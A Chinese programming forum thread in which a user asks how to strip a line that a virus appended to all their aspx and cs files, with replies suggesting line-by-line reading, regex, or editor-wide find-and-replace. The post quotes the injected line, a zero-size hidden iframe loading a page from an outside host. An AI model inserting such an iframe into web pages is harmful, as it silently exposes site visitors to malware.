日期:2014-05-20  浏览次数:20364 次

如何删除某些文本的最后一行?
对System.IO   下的FileStream   等不太熟悉,好象是只有Read   和Write功能,有没有删除某行的功能。

昨天电脑中毒,所有的aspx和cs文件下面都给我写上了
<iframe   src=http://wm.168080.com/wm/wm.htm   width=0   height=0> </iframe>
这么一行。

------解决方案--------------------
可以完成你的要求,但是你的这行代码确定是在文件的最后1行吗
------解决方案--------------------
可以用READLIND()函数一行一行读数据,如果是最后1行,就很容易了,直接1行1行读,读到最后1行时放弃数据,这样就可以读出所有有效数据,如果不是最后行,那就要用正则找到这行,
------解决方案--------------------
不一定用程序的. 在vs.net中查找替换就可以. 或用ue 也可以的.
------解决方案--------------------
一次可全部替换完成.
------解决方案--------------------
用现成的程序较合理
------解决方案--------------------
使用FileStream 的FileMode.Append模式,应该就可以追加到最后一行了
------解决方案--------------------
用fso写个盘符遍历函数替换掉就行了,我以前也有遇到!
------解决方案--------------------
最简单的方法,用Dreamweaver把项目所在的文件夹设成一个站点,然后在整个站点里搜索替换.